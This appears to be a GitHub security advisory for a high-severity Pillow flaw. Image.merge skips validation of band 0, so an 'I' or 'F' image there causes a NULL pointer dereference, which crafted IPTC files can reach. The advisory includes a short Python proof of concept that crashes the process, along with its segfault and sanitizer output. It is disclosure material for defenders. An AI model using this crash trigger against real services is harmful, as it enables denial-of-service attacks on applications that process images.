GitHub Advisoryadvisory · PyPI
GHSA-cp9v-662q-vvx9 Pillow: NULL pointer dereference in Image.merge via an unvalidated band 0
HIGH
Official page ↗
- Aliases
- CVE-2026-112405
- Ecosystem
- PyPI
- Packages
- pillow
- Severity
- High
- CVSS vector
- CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N
- Weaknesses
- CWE-476
- Reviewed
- 2026-10-21
Affected packages
• PyPI pillow: >= 12.0.0, < 13.0.0 → fixed in 13.0.0
Description
Summary
`Image.merge()` checks the mode of every input band except band 0. If band 0 is a single-band `I` or `F` image, the native merge routine reads a pixel pointer that is NULL for those modes and the process crashes. The IPTC plugin reaches this from a plain `Image.open()` followed by a load, and IPTC has no magic-byte prefilter, so a crafted file with no recognizable header can drive it.
Details
The validation loop skips band 0:
• `src/PIL/Image.py:3795` iterates `for band in bands[1:]` and checks mode and size only for those.
For an `I` or `F` image the 8-bit plane `image8` is NULL (only `image32` is set). `ImagingMerge` dereferences `bands[0]->image8[y]` for the multi-band output modes:
• `src/libImaging/Bands.c:302`, `:311`, `:321`
The IPTC loader builds the band list from an attacker-typed sub-image and passes it to merge with the sub-image at index 0:
• `src/PIL/IptcImagePlugin.py:156-160`
• `src/PIL/IptcImagePlugin.py:169` registers the opener with no accept function.
PoC
```python
from PIL import Image
Band 0 is a single-band "I" image: its image8 plane is NULL. merge() validates only
bands[1:], so the native ImagingMerge dereferences the NULL plane for band 0.
band0 = Image.new("I", (4, 4))
Image.merge("RGB", [band0, Image.new("L", (4, 4)), Image.new("L", (4, 4))])
```
Run it:
```
$ python 02_poc.py
Segmentation fault (core dumped)
```
Observed on a source build of commit `3e2ab96`.
Under AddressSanitizer:
```
==ERROR: AddressSanitizer: SEGV on unknown address 0x000000000000
#0 ImagingMerge src/libImaging/Bands.c:311
#1 _merge src/_imaging.c:2492
SUMMARY: AddressSanitizer: SEGV src/libImaging/Bands.c:311 in ImagingMerge
```
The null address confirms the dereference of the missing `image8` plane for band 0.
Impact
NULL pointer dereference in a C extension. A crafted file opened and loaded through the IPTC path crashes the worker process. This is a hard crash, not a Python exception an application can catch.
Related
Alias · CVE (1)
- CVE-2026-112405 Pillow is a Python imaging library. vulnerability
Weakness · CWE (1)
- CWE-476 NULL Pointer Dereference weakness
References
- https://github.com/python-pillow/Pillow/security/advisories/GHSA-cp9v-662q-vvx9 web
- https://nvd.nist.gov/vuln/detail/CVE-2026-112405 advisory
- https://github.com/python-pillow/Pillow/commit/b6ee66e8b2c2c0932bdf65f963268d9f2927ef86 web
- https://github.com/python-pillow/Pillow package
- https://github.com/python-pillow/Pillow/releases/tag/13.0.0 web